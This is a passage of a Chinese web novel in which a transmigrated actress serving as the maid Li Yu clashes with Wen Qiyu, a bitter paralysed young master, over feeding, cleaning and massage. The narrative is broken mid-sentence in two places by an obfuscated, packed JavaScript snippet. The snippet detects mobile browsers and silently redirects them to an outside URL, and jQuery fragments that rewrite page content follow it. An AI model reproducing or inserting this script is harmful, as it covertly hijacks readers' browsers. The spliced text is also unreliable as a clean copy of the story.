什么玩意儿?这也能怪到我头上?那股火蹭蹭蹭往头上冒,她放下勺子,气势汹汹跟他争论起来:“我才停下多长时间?药凉了明明是因为你喝得太慢,要是喝快点儿不就不会凉了吗?要是你一口干了它,它能凉?”说完还不忘再辱他一句,“人不行还要怪路不平!” “你……”话虽不好听,但却很有道理,温其玉无言以对了。 不服憋着!这句话叶之萤没出声,只是空做了口型,说完又得意地朝他晃了晃脑袋。对面的人知道她在说自己,却又没听见内容,只能狠狠地剜了她一眼。 叶之萤心里一阵暗爽,拿起勺子继续喂他。喂完药后,放下已经发僵发酸的右臂,长吁了一口气。 “你为何一直皱着眉?”他恐怕是没放下刚才吃瘪的情绪,又开始没事找事,试图扳回一局。 “有吗?”叶之萤翻起眼皮瞥了他一眼。 床上的人没有回答,但那张脸明显又被乌云笼罩,其中暗藏着一场暴雨。 他以为他这样板起脸来自己就会害怕吗?叶之萤觉得实在好笑,冲他翻了个白眼道:“虽然我自己并未察觉,但如果我刚才真的皱眉了,一定是因为这药味道太苦、我的胳膊太酸、刚刚烫伤的地方还在火辣辣的疼,以及因想起自己的遭遇而心情不佳,总之绝不是因为嫌弃你,这个回答少爷满意吗?” 他虽瞥了她一眼,表情却比刚才柔和了不少,脸上的乌云也消散了。这样的人,果然都是极度自卑和敏感的。 “你既已是渔儿,与我说话时态度便要柔和些。”他再一次提出了要求,语气竟意外得不差。 “我既然已经是渔儿,那么麻烦少爷和渔儿讲话时态度也能柔和一些。”叶之萤原话奉还。 眼看二人又开始剑拔弩张,一旁的阿力忙出来调停:“那个,渔儿,去厨房看看饭好了没?” 叶之萤也懒得再与温其玉舌战,便顺着阿力的话转身出了门。 踏出门的一瞬间,身后又传来那人冷漠的声音:“你既已是渔儿,那便保护好这副躯体,若再受伤,我必严惩!” 叶之萤“哼”了一声,连头也没回就徜徉而去。 往厨房去的路上,她在心里暗骂:这是个什么没有心肝的东西!自己刚刚居然还对这样的东西生出了一丝恻隐之心,真是瞎了眼…… 5. 冲突再度升级 再回到房间时,温其玉还是被阿力扶着坐在床上,和她走时一模一样。看他这般可怜的样子,连坐起来都需要人帮忙,叶之萤突然觉得再与他置气也挺没意思的。残疾非他所愿,自己更不该因此对他抱有成见。 “吃饭吧,要怎么喂……少……爷?”她的语气软了不少,但“少爷”这两个字对她来说太烫嘴,调侃时说说倒罢了,真叫起来实在别扭。 “你先把那个小桌摆在床上,再把菜和汤端过来放在上面。”阿力耐心地教她。 温其玉的床非常大,叶之萤这才看见他脚下靠墙的地方放着一张小木方桌,她左手撑在床上,伸右手去端方桌,却低估了它的重量,掀翻了桌子不说,自己也摔得趴在了床上。 太丢人了!她第一反应就是那人肯定要讽刺她,便不自觉往那边看了一眼,没想到,他竟然没什么反应! “没事吧?”倒是阿力关心起了她。 “没事。”只是,这桌子实在太沉,她寻思恐怕得爬到床上去搬。 “少……爷,我能上你的床吗?”她的本意是想征求一下他的同意,但话音刚落就意识到不对劲。 呸!这说的什么话啊! 阿力也听出了不对,没忍住“噗嗤”一声笑了出来,又怕被骂,刚笑了一声就急忙憋住了。 “有什么好笑的?”她故作生气瞪了阿力一眼,阿力立刻听话地收起了笑。 “可以。”温其玉的回答很简单,仿佛并不在意话中的歧义。 可叶之萤看到他刚才分明也笑了,不似之前带着鄙视或不屑的冷笑,就只是单纯的笑,那笑容淡淡的,竟格外温润迷人,只是转瞬即逝,让叶之萤不免心生遗憾,还没看够呢,为什么不多笑一会儿! 她脱鞋上床,把方桌搬在他面前放好,那两条废腿正好从桌子中间的空隙穿过。 他已经极度消瘦,整个身体看起来都没什么肉,虽然还没到皮包骨的状态,但也大差不差了。而且,近距离接触后,叶之萤发现他竟然很高,目测得有一米八八,或许更高,以至于即使如此消瘦,看上去也并不柔弱。衣服在他身上虽然格外宽松,但他骨架大、肩宽,好像也还撑得起来。他的腿特别长,再一细就显得更长,两条长腿毫无生气地瘫在床上,一动不动。 这样优越的骨架和身高,却被病痛摧残得没了人样,卧在床上不得动弹,叶之萤难免为此感到惋惜,连带着对他都没那么烦了。 喂饭时,她发现温其玉的发带已然有些松了,额前的头发有几缕散了下来,正好挡在脸上。他本身面相阳刚,英气十足,但配上这几缕碎发,平添几分柔美,倒是有了另一番美感! 她没有征求他的同意,随手就帮他把那些碎发全部整理到了耳后。 他的头明显一顿,像是很意外她的举动。 对叶之萤来说,这原本只是顺手的事情,可他这一顿倒让她也有些不好意思了,赶紧解释:“那个,头发容易吃到嘴里。” 他没有说什么,只是对她礼貌地微笑点头致谢。 这下轮到叶之萤愣神了,自己没眼花吧?他刚才是在对自己笑吗?! 不对不对!他不是对自己笑,他只是在对李渔笑。她提醒自己千万不要落入美人计的圈套,对这种人抱有什么幻想! 他吃得实在慢,喂得叶之萤胳膊都酸了,便把胳膊肘搭在桌子上偷懒。 眼前的桌子让她想起了从前上大学的时候,那时候,每个大学生都有一张这样的桌子。 “渔儿妹妹,可是想起什么开心的事了?”阿力看她笑了,找话题主动与她攀谈起来。 “没什么开心的,就是想起了以前上学的时候。” 叶之萤大学学的是师范专业,只可惜大二就去做了演员。没有完整的经历四年大学生活,也没拿到学位证,是她一直以来都很遗憾的事情。 “你也上过学?”阿力似乎对她上学一事十分震惊。 “嗯。” “那你读过几年书?”阿力又问 “我算算啊……”她掰着指头粗略一算,“我大二就工作了,总共上了……嗯……十七年。” “十七年?”这显然超出了阿力的现象,“莫非你出身书香门第?” “那倒不是,就是普通家庭。” “你说你还有工作?是什么工作?” 这可是叶之萤人生中最得意的话题了!她两眼立刻放起了光,侃侃而谈:“我是一名演员,你知道演员吗?就是演戏给观众看。” “就是戏子?”阿力反问。 “什么呀!”叶之萤正得意着,就被“戏子”两个字泼了一盆冷水,她放下手中的勺子,忙着跟阿力解释起来,完全忘了自己还正在喂某人吃饭,“我是我们那里最当红的女演员,一年的收入比一个普通百姓一辈子收入还多,我的粉丝,就是喜欢我的人,恐怕比你们这里一个国家的人口都多,和你说的戏子可不一样!” 叶之萤并没有夸大其词,她很幸运,拥有一份大部分人都可望而不可及的事业,这份事业给她带来了数不尽的名利和财富,还有无数人的追捧,让她万众瞩目,荣耀加身。 口若悬河的自我介绍一番后,再看自己当下的样子,她突然觉得好讽刺。 她再也不想说话了,只是烦躁地叹了口气,又重新拿起汤匙,舀了一匙米饭,许是陷在悲伤里没缓过神,手一抖,那饭全掉在了温其玉的衣服上。 “对不起!我应该专心做事,不该分心说这些的,都是我的错……”她一边用碎碎念掩饰自己的失落,一边仔细地用手将米饭一粒粒捏下来。又扯着衣服检查了一番,还好没有弄脏。 “没事的,不要紧。”一旁的阿力急忙安慰他。 她一抬起头,发现温其玉的眼神中竟也有悲伤闪现。是在为她而悲伤吗? 但很快她便否认了这种可能:他不过是和她一样,也在为自己的遭遇悲伤罢了…… 喂他吃完饭,叶之萤和阿力也终于可以围桌风卷残云了。 可两人才吃了一会儿,就不知从房间的什么地方传来了一股恶臭,叶之萤嘴里的饭还没咽下去,闻到这味道,直接呕了出来。 “什么味儿啊?”她被熏得头晕脑胀,正捂着鼻子抱怨,那边阿力已经起身往床边跑了。 “怎么回事?”她还没反应过来。 阿力指着床底下的一个木盆吩咐她说:“去打盆热水来!” 她这才明白过来,赶紧屏住呼吸跑过去,拿了盆就往门外跑。 打了水后,她在屋外做足了心理建设,给肺里吸足了空气,才屏住呼吸冲进去,快步跑到床边,一扔下木盆就撒腿往屋外冲,整个过程真正的“一气呵成”。 “站住!”正要迈出房门的一刻,身后传来了温其玉的声音,那只即将迈出大门的右脚也被这句话定在了半空。 “回来,你还要清理。”他冷冷地给她下命令,不用回头看,叶之萤也能猜到他此刻脸上的表情。 只是,她没听错吧?他让她帮他洗……屁……股…… “这……这……这不……不太好吧……男……女有……别啊。”她自打进门起就始终憋着气,不知道是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991628|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为缺氧的原因,她整个人都开始发抖,说话也结巴起来。 “没什么不好,之前都是你做的。”他话中明显带着挑衅的意味。 叶之萤觉得自己再不呼吸就要憋晕了,于是先把头探出门外深呼吸了几下,才缩回来拒绝他:“之前是之前,现在是现在。” 说完,就继续往出走。 “你若出了这个门,就别想再进来。”床上的人冷冷道。 叶之萤最讨厌被人威胁,偏偏今日接二连三被同一个人威胁,她原本一只脚已经迈出了门,一听这话,干脆收腿拐了回来,朝床上的人咆哮起来:“你到底是为什么呀?为什么非要跟我过不去呢我的大少爷?是不是在床上躺得太无聊了所以需要找点乐子?还是你看我能跑能跳心里不舒服不平衡?温其玉,你平心而论,这个事情就真的非要我做不可吗?你强迫一个陌生的女人看你的……你不觉得恶心吗?你有暴露癖吗?我之前确实不敢走,但既然你这么变态,那我宁愿死在外面也不想跟你这种人再有任何瓜葛!” 没想到床上的人听完她的怒吼非但不恼,反倒笑了起来,而且笑得极为阴森。床上的纱帐挡住了从窗户照进来的光线,从叶之萤的角度望过去,一团阴影恰好遮住了他的脸,就像一个见不得人的魔鬼,任她怎么看也看不清他的真实面目。 “变态!”叶之萤更气了,恨得咬牙切齿,恨得想跑过去扇他两个巴掌。 “我只是命你清理用过的垃圾而已,你为何如此激动?”他冷笑了一声,在叶之萤听来,分明是在嘲笑她的愚蠢。 “你在说什么?”她快要被他搞晕了。闹了半天,难道是自己误会了? 阿力也急忙解释:“渔儿妹妹,你误会少爷了!以前你也只是清理垃圾而已,清洗这些事都是我来做的,少爷怎么会让女孩子做这种事呢?刚刚少爷还特意吩咐我,等你端来了水、离开房间后再为他宽衣清洗,又怎么会让你为他……你真的误会了!” “啊……这……”叶之萤站在那里傻了眼。周围的空气似乎凝固了,甚至连令人窒息的难闻气味都闻不太到了。 “我……那你也不能怪我,就算我误会,也是因为你表达不清。”她始终觉得哪里不太对。 “若我没记错,我说的是‘清理’,而不是‘清洗’,至于你为何会联想的如此龌龊不堪,那恐怕还要问问你自己,脑子里都装的些什么腌臜之物。”床上的人居然开始倒打一耙。 叶之萤终于反应过来哪里不对劲了,亏她刚才真以为自己冤枉了他、差点把错都揽自己身上了:“你少强词夺理了!你说的是‘清理’又怎样?‘清洗’难道不算‘清理’吗?你要是直接说让我把垃圾收了,我能误会吗?你就是故意说得不清不楚,引我生气,戏弄我,是不是?你是不是就想看我生气啊?因为我嫌弃你的样子伤了你的自尊,所以你要惩罚我,是不是?” 床上的人没有再说话,但他的沉默恰恰告诉叶之萤,她说对了。 “幼稚!”她骂了一句,便“啪”的一声摔门而出。 但她其实并没有走远,而是站在房门口等着。毕竟自己是以李渔的身份才留下来的,虽然不能任由温其玉欺负,但和他的交易依然算数,所谓当一天和尚就要撞一天钟,该自己的分内之事还是要做的。 在门外等的无聊,她又在心里盘算,还是得想办法跟那个姓温的搞好关系,毕竟走也走不了,得罪了上级对自己没有半点好处,争来争去,吃亏的不还是自己?她劝自己,下次那位大少爷再说什么难听的话,能忍则忍,大度一些,别和他一般见识了! 6. “玻璃心”作妖 大约十五分钟后,阿力打开了窗户叫她进去。 一进门,那股难闻的味道就又扑面而来,她一个没忍住,又干呕了一下。 温其玉本人倒是已经恢复了干净整洁,他换了个姿势,没有躺着,而是趴在床上,正在闭目养神。太阳往西边又走了一点,如今他整个人都彻底被阴影笼罩了,一看到他,叶之萤的心情立刻就阴郁起来。 换下来的那堆衣服全部放在床边的一个木盆里。 “把这些衣裳全拿出去洗净。”温其玉听见脚步声,眼睛都没睁,就直接对她下了命令。 “什么?”叶之萤想和他好好相处的的希望又落了空,“你不是说我只清理垃圾吗?为什么又要洗这些东西?” “你是丫鬟我是主子,命你做就去做,哪来的那么多问题!”从她进来后,床上那位就没有睁眼看过她,对她的不屑可见一斑。 “你是诚心恶心我,我不去!洗完我几天都吃不下饭!”几番争执下来,叶之萤很快便明白了一个道理——一个巴掌拍不响,人与人之间想要好好相处,光靠一个人的努力是远远不够的,譬如这位温少爷,显然是存心折腾她。 既然没法友善相处,那么干脆和不公平对抗到底!反正就算自己不听他的,他也拿自己没办法。想到这里,叶之萤心情终于舒爽了一些。 谁知,床上的人却又说:“那好,从此刻开始,你便不要再吃饭,什么时候把它们洗干净了,什么时候再吃饭。” 狗嘴里吐不出象牙!可恶至极!叶之萤气得快爆炸了,果然自己还是太天真,把他想得太善良,像他这种变态,怎么会没有治她的方法? “你凭什么不让我吃饭?我就算没有洗这些衣服,还为你干其他事情了,凭什么不给我饭吃?”她据理力争。 “你不是说这些污秽倒了你胃口,让你几天都吃不下饭吗?那不如不要吃了。” “你……”她刚想发火,左手被烫的地方又一阵火辣,正好有了主意,“我的手可还受伤着呢,难道你不怕渔儿的皮肤发炎留疤?” 他果然沉默了,看来这招管用。 叶之萤得意洋洋问阿力:“这些衣服要扔到哪里?” 没想到,温其玉却再度开了腔:“你若是不提,我倒是差点忘了你的伤。正好,井水阴寒,用来治疗烫伤再合适不过了!”又对阿力说,“从现在起,不许再给她伤口用药。” …… 叶之萤全身的血都蹭蹭往头上冲,她再也忍不了了,发疯似的指着床上的人,扯着喉咙破口大骂起来:“你真是个心理扭曲的变态!我刚才不过就是一个正常人闻到臭味的生理反应罢了,你至于对我不依不饶吗?难道你闻到别人的粪便不恶心吗?觉得恶心就表示歧视和嫌弃吗?你的自尊心也未免太脆弱了!仗着自己残疾就可以肆无忌惮戏耍羞辱别人?残疾了了不起吗?” 阿力听她骂得如此疯狂,在一旁拼命摆手,而她已经激动得管不了那么多了,不把想说的话都说出来,她会憋死的。 “你根本就是在无理取闹,就是故意针对我,你有本事就永远别给我饭吃,大不了就是饿死,吓唬谁呢!我权当早死早投胎!” 骂完,她端起了那盆衣服,一股恶臭直接上头,她又忍不住干呕了一声:“阿力,衣服扔哪儿?” “厨房旁边有个小门,出去后左拐就能看到。”阿力胆怯地回答。 她大步跑出去倒掉衣服,回来先洗了盆后洗了手,又提着盆一步当两步走,慢悠悠地往回挪。 一想到回去的日子遥遥无期,还不知道要留在这里跟这个玻璃心的变态吵多久的架,叶之萤就欲哭无泪,恨不得现在就来一道闪电劈死自己算了! 他不会真的心狠到不给自己饭吃吧? 苍天啊!这样的日子什么时候才是个头儿啊! 等叶之萤再次回到房间时,那股难闻的气味已经完全散去,取而代之的是一股淡淡的幽香,像是什么草的味道,有点清新,又有点苦调,怪好闻的,她那颗烦乱的心一碰到这味道就安宁下来了。 “玻璃心”自然还是躺在床上,只是又换成了面向床外。他的眉头微皱,似乎是正在忍受身体哪里的不适。 哼,活该! 下午见过的林大夫也在,正坐在他床边给他按摩胳膊。 他主动和叶之萤打招呼,语气很平静,也很自然,自然得就好像刚才根本没有发生任何争执,自然得就好像他面前的人是真的李渔:“渔儿,你方才不是说要跟林大夫请教如何按摩吗?快过来!” 瞎说!我什么时候说过这样的话??这人葫芦里又在卖什么药? 温其玉完全无视她的诧异,只专注自己的表演:“林大夫,渔儿已然忘记了按摩的手法,还得劳烦您再给她传授一二。” 虽然他的嘴里没有一句实话,但叶之萤发现,至少他对林大夫的态度倒是很恭敬,全然不像面对自己时那般无礼。 林大夫听温其玉这么说,便叫她来到床边:“渔儿姑娘,我现在给你示范,你仔细看着我的动作!” 叶之萤茫然地走了过去,坐在了床边的木凳上,莫名其妙开始学习按摩。 其实她曾经是简单学过一些按摩的,但现下她人还懵着,又忽地想起了过去的一些人和事,心里便一阵烦躁,根本静不下来去听。 她的耳道里像是立了道玻璃门,林大夫口中的那些穴位名称和位置则通通被堵在门外不得进入,只能在耳廓之外虚虚地漂浮着,始终无法听得真切,而后越飘越远,最后飘出窗外,飘上了天…… “好了,现在该另一只胳膊了,换你来试试。”林大夫见她双眼茫然,也不讲了,干脆让她跟着做。 她的魂魄这才慢慢从远方飘了回来,眼睛盯着那只细瘦的胳膊愣了半天神,才推脱道:“我,我还不行,您还是再多教我几次吧,这才刚学了一次,万一没学好,再给少爷按坏了……” 刻薄的少爷此时却格外通情达理:“不打紧,原本就是坏的,你尽管按便是。” 都坏了还按什么!这句话差点就要从口中脱出,硬是被叶之萤忍住了。 林大夫见她百般推辞,又为她讲了些注意点:“少爷的身体虽然不能动,但却尚有知觉,且比我们更敏感,切记一开始下手不要太重,轻轻地按,等熟练了再多用些力道。试试吧。” 叶之萤被架在那里,按也不是,不按也不是。 按吧,看着那瘫软的胳膊和微蜷的手指,她实在心里膈应下不去手。 不按吧,可眼看话都说到这份上了,这事又和洗衣服不同,自己既然答应他暂用李渔的身份留在这里,那为他按摩就是自己分内之事,于情于理都不该推辞。 她只好把心一横,硬着头皮上。岂料,双手刚去到他胳膊附近,便不受控制地抖个不停,来来回回心里建设了好几次,都始终下定不了决心碰他。 她心里清楚,自己这样的举动肯定又激怒了某人,在外人面前被如此嫌弃,可想而知他有多难堪。他现在要是能动,指不定会徒手撕了自己。 “渔儿!”是他在叫自己,竟然没有想象当中的愤怒,反而很温和。 不应该啊!他难道不是应该讽刺她才对吗?为什么会是这样的态度? 叶之萤满腹狐疑地转向他,偷偷抬眸瞄了他一眼,发现他正看着自己,脸上并无任何不悦,反倒一副担心她的样子:“是不是身体还没恢复?正好林大夫在,要是有哪里不舒服就告诉林大夫,让他再给你瞧瞧。” 看着眼前那张温和的脸,叶之萤的头突然一阵眩晕:“我……我就是头有点晕,可以坚持的,没关系,我再试试吧!” 她这个人就是这样,虽然嘴上爱逞强,但别人态度一好,她就心软没辙了。 林大夫道:“自你中毒以来,在床上躺了近一个月,这突然站起来,觉得头晕也属正常,这几日还是要多休息,不要长时间站立,循序渐进更有利于恢复。” “我知道了,谢谢林大夫!”叶之萤嘴上道着谢,心里思忖着,原来这李渔是中毒了,那怎么阿力和李大娘都说她是做傻事呢?莫不是…… 服毒自杀?! 可这里的人对她似乎都很好,她为什么要自杀? “渔儿姑娘感觉如何?今日可还要再试试?”林大夫打断了她的猜想。 “要试,要试!”温其玉突如其来的温柔杀令她难以招架,眼一闭心一横,她直接抓上了他的胳膊。 天呐,他的胳膊实在太瘦了!几乎和自己,不对,是和李渔的胳膊差不多胖瘦,肌肉已经所剩无几,只有薄薄一层脂肪包裹着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991629|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨头,最外层的皮肤更是松松垮垮。 叶之萤心里不免替这身体的主人感到惋惜,这一惋惜,也就不那么抗拒了。于是大胆按照林大夫的指导从上往下、一点一点按下去,直到每一根手指。 由于她曾经也学习过一些按摩手法,所以很快就上手了,连林大夫都赞口不绝:“渔儿姑娘虽然失忆了,但看样子之前的记忆还留在脑中,只需略微提点提点就能想起,想必不需多时,定能完全恢复记忆!” 温其玉听闻,对此更是惊讶,毕竟他心知肚明,眼前的女子根本不是李渔。 叶之萤只好谦虚推辞了几句:“哪里哪里,主要是林大夫您教得既清楚又细心,我才能学得这么快。” “哎呀,这渔儿姑娘似乎比以往开朗了不少呀!”林大夫笑着与床上的人交流。 这让叶之萤更是满腹疑惑,这个李渔以前到底是有多闷? 言多必失!谨防露馅,她不敢再多说话,只埋头一心替温其玉好好按摩。 他的手指已经伸不直了,但形态看上去还算正常,她把它们一根根地拉直,松手后又眼看着它们一根根地缩回去,每一根弯曲的手指仿佛都在骄傲的向旁人展示着它们的任性,随着手指的收缩,她的心也愈渐悲凉。 一个拥有着完美外表的人,却不得不目睹自己的身体一天天的萎缩、凋零,不仅无力阻止,更困在其中无法摆脱,一定很绝望吧?他是如何接受这一切的?他是否有过不想活的念头?还是说,他根本已经不想活了?可这样一双手,显然连一把刀或一瓶毒酒都拿不起来。 连死都死不了,只能这样生不如死、苟延残喘的活着,无疑是这世上最残忍的诅咒…… 一滴水滴在了她的手背,是从她眼里跌落的。 她急忙抬眼偷望温其玉,希望他没有看见自己的失态,可他正看着她的眼睛,眉心微蹙,显然是将她刚刚的情绪尽收眼底。于是她匆匆将那滴眼泪顺手抹在他衣服袖子上,假装无事发生,继续为他按摩。 之后,林大夫又为他的胳膊针灸,叶之萤则回到榻上坐着。眼看他的双臂逐渐被扎成了刺猬,她心里其实是有疑惑的:他的胳膊都废成这样了,还有针灸的必要吗?难道他的身体还能恢复? 针布完后,林大夫再一次叫她过去,该按摩腿部了。 阿力为他脱掉了袜子,又把宽松的裤子拉到大腿根,此时,那两条腿完完全全的暴露在叶之萤面前。虽然早有心理准备,但她还是被结结实实地吓了一跳。 两条腿比胳膊萎缩得更厉害,如果说胳膊上还有一层脂肪和些许肌肉的话,那腿就称得上是真正的瘦骨嶙峋了。而且与形态正常的胳膊相比,他的腿看上去已经严重畸形。 膝盖高高凸起,两只脚也下垂严重,好像芭蕾舞演员绷着的脚尖,已经和小腿形成了一条直线。 面对如此畸形的双腿,叶之萤这次是真的下不去手了。她只能寄希望于温其玉还能像刚才那样大发善心主动饶了她,可很显然,他并不是一个心善之人,对她写在脸上的煎熬亦无动于衷。 叶之萤无比后悔自己刚才为什么不顺着他的话就此作罢?为什么要因为他温柔的态度而心软? 贪恋美色,活该现在骑虎难下! 她深呼了一口气,如同决心赴死一般伸出手,仅用拇指和食指的指尖轻捏他的腿,其余指头都敲得高高的,避免和那双腿有接触,姿态像极了拎着肮脏的垃圾时,只用两个指尖嫌弃地掐住一点垃圾的边缘。 草草按了一阵,她便借口头疼,仓皇而逃了。 她又坐回了榻上。 看着林大夫又在他的两条腿上仔细地布满银针,她心里好像有什么东西堵得难受。手指摸到他的腿时那种异常的触感不断在她脑海中循环,心里一阵翻江倒海…… 这是她第一次如此近身的了解一个残疾人,这个人虽然很讨厌,可叶之萤依然忍不住为他感到深深的遗憾。 他躺在床上,有一搭没一搭的与林大夫聊着天,看起来情绪并没有被她影响,这样最好。 “这几日头痛的情况可有好转?”林大夫问他。 “好多了,偶尔还会痛,但很快就能好转。”他答。 原来他不光身体不能动,还有头痛的毛病,全身上下真没一处是好的…… 7. 谁笨手笨脚? 林大夫走后,夜也已经深了,叶之萤去为他打水洗漱。刚走到床边,就看到他阴沉着脸,冷冰冰地瞪着她。 果然,刚才的和善都是在林大夫面前装出来的,这一场暴风雨,终究是躲不过去了。 他的目光先是扫在她手上,而后又对上她的双眼。 “你洗手了?”他的眼中瞬间浮起了怒意,眼神仿佛一把利剑要将她刺穿。 “洗了,有问题吗?”叶之萤被他的气场震慑得有些心虚,强装镇定地反问他。 他开始冷笑。 叶之萤无奈叹了口气,道:“少爷,有话请直说。” “你是不是觉得让你给我按摩也是成心恶心你?”他的声音和刚刚的笑声一样冷。 “对不起,刚才是我不对。”叶之萤自知理亏,所以并未辩解,反而光速道歉,“我只是有点害怕,还没适应……” 温其玉的表情明显顿了一下,似乎是眼前之人的态度令他意外了,明明已经张开了嘴却始没有接话。 叶之萤看到他的反应,实在想笑。她猜想,他恐怕已经准备好了一大段与她吵架的台词,没想到自己不按套路出牌,直接改了剧本,杀了他一个措手不及。 “你的意思……是我吓到你了?难不成,我该跟你道歉?”他临时改词开怼,发挥稳定。 火炉里的柴火正噼里啪啦地响个不停,温暖在空气中流淌,消弭了他话中的冷漠,同样消弭了叶之萤心中的戾气。至少现在,她一点也不想和他吵架。 她率先释放了善意,歉然一笑:“当然不是,都是我的问题,都是我的错,我以后会注意的!那个,趁现在炉子烧得旺,屋里暖和,让我帮您擦洗吧。” 说完,便站在原地,期待着他也能有个友善的回应。 只听他冷漠地“嗯”了一声。惴惴不安的叶之萤长出了一口气,向他再一次微笑表示感谢。 擦身子时,她擦得卖力又认真,双手一直结结实实地按在他胳膊上,好让他知道自己并没有觉得他的身体恶心。 擦好身子,就该刷牙了。古代的牙刷样式和现代的差不多,是一根长长的木棒,前段插着细密的、粗细一致的、修剪的长度也一致的动物毛。只是牙膏是他们自己调制的,不知道都用了什么,是咸的,叶之萤猜应该有盐。 可没想到,给温其玉刷牙居然是她今天遇到的最大的挑战。 首先,得让他坐起来,他虽然瘦,但是他很高,而且骨架大,一点儿都不轻。叶之萤连拉带拽,好不容易让他坐起来了,才发现身后没有东西靠着,他根本坐不住,一直往四周倒。 床头离他的后背还有一米多远,如果换做是叶之萤自己的身体,抱他过去是没问题的,可如今李渔这个小身板根本没那个力气。可如果不靠着东西,她就必须扶着他才行,可如果扶着他,又没有多余的手再给他刷牙。 “你先坐在我身后,待我靠住你后,再用左手扶着我的身体,右手便可空出来了。”温其玉见她没了主意,便教她。 她听得似懂非懂,实践起来发现更难。 让他的重心靠在自己身体上,这个姿势虽然可以控制住他,但他上半身没有力气,还是会不停地晃。而叶之萤第一次没有经验,也没有摸索到合适的角度和力度,一个没掌握好,眼前的人竟然整个上半身直直往前扑倒。还好叶之萤眼疾手快,及时从后面抱住了他。 可还是没免得了他的一通讽刺:“笨手笨脚!” “再笨也没你的笨!”叶之萤脱口而出,她向来冲动,嘴比脑子快,受不了半点委屈。 前面的人似乎是被戳到了痛处,再不说话了。 这一沉默,叶之萤望着他单薄的后背,又后悔了。自己似乎不该攻击他的身体。 她也不再说话,只是用左臂紧紧锁住他的身体、再立起双腿用双膝夹住他的腰,让他在自己身上靠紧,这才勉强稳住了他。 屋子里的温度本来就高,这一番折腾,叶之萤已经热得满头汗了。 她稍微侧身,把头尽量向前探,提心吊胆地边看边刷,生怕力度太大又把他推倒,毕竟他太容易被推倒了,即使不推也会自己倒…… 可刷着刷着,目光不知怎的竟又被这张脸勾引走了,他的侧脸看起来实在是太完美了!线条流畅,额头饱满,鼻梁高挺,下巴微翘,立体度刚刚好。叶之萤的目光在这张脸上来回游走,心想这么完美的弧度和比例,恐怕用尺子比着都画不出来,他居然天生长这样!眼下的两道卧蚕微微隆起,泛着柔和的珠光,叶之萤实在很想上手摸一摸那里是什么触感。 娱乐圈里不缺帅哥,可长成这样的叶之萤一时之间还想不出来。以前自己也演过几部偶像剧,每一部搭的男主都被观众吐槽和自己颜值不搭,这么看起来,他这长相倒是跟自己的真容有些般配呢…… “咳咳!”是有人清嗓子的声音。 叶之萤猛然清醒,发现那双狭长的眼睛正斜睨着她。再一看,薄薄的双唇上一片白色,牙刷不知道什么时候从嘴里跑了出来,把本就苍白的嘴唇刷得更白了…… 该死!犯花痴还被当场拆穿,太丢脸了! 情急之下,她直接用袖子擦掉了他嘴边的牙膏。 温其玉也有些尴尬。 好在叶之萤是见过大场面的,当然,说得不好听点就是脸皮厚。爱美之心人皆有之,看个帅哥嘛,人之常情而已,有什么可害羞的! 她很快就不觉得尴尬了,只觉得累得直不起腰,身体严重缺休息。 伺候温其玉躺下后,她正要去榻上休息,床上的人却又叫她:“渔儿,到我身边来。” “干嘛?”她有些烦躁,不知道这位大少爷是不是又有了什么突发奇想的新创意,她虽不情愿,但还是走到了他面前。 “低一点,靠我近一些。”令叶之萤吃惊的是,他的眼中竟透出哀求。 “你……你想干嘛?”她不由得将身子往后退了半步,警惕地问他。 他倒是笑了起来,反问道:“你觉得我能做什么?” 说得也是!自己这一问实属多余。于是按他的要求弯下腰去,慢慢靠近他。 眼前的人却渐渐闭上了眼睛,他的呼吸似乎比平时要深许多,像是在仔细感受着什么,但显然是没感受到,于是他加快速度呼吸,似乎是想动用嗅觉在她的身上找到什么答案。 叶之萤被他这莫名其妙的举动搞得正百思不得其解,他却突然睁开了眼:“睡吧!” 他的声音依旧冷漠,叶之萤却从中听出了无尽的失望,失望融入这安静漆黑的夜晚,显得那么深沉绵长。 他为何而失望?叶之萤不得而知,也没有力气再深究,她只知道随着他这句“睡吧”,这一天总算结束了,终于能好好地睡一觉了! 岂料,她刚准备上床,他却又开口了:“渔儿,抱抱我!” 这次的声音听上去似乎有些痛苦。 她被他的话吓了一跳,转身一看,他正望着自己,不,是望着李渔,那双凌厉的眸子里充满着不甘,有种明知自己不会满意,却非要试到满意为止的矛盾和倔强。 “不行!”她拒绝。 床上的人倏而收起了眼底那一丁点温柔,冷冷道:“你是渔儿,不要总让我提醒你!” “我答应了你扮演渔儿,但是也请你理解,我会替她工作,但不会替她谈恋爱!”叶之萤拒不低头。 “你既然是她,就全都得替!”他的语气极其强硬。 而叶之萤也同样强硬:“我的身体是她,但我的灵魂不是。抱歉,你的要求,我做不到!更何况,你和我有约法三章,你别忘了!” 他见她丝毫不妥协,愤怒地瞪了她许久。突然,他又笑了起来,语气正常得好像刚才的事情都没发生过一样:“渔儿,过来帮我捏捏腿!” …… “已经该睡觉了!”叶之萤面对着又开始作的某人,崩溃地拖着长音,虽然自己已经快被他气得没了睡意。 “渔儿照顾我,夜里也不休息。”他说得云淡风轻。 叶之萤原本又要被他气炸了,却突然想到一件事,看着他幽幽开口道:“所以她自杀了!她宁愿死都不愿意再伺候你!” 杀人诛心,叶之萤知道,自己诛了他的心。 她本不想这样,但她更不想被他一而再再而三的精神折磨。 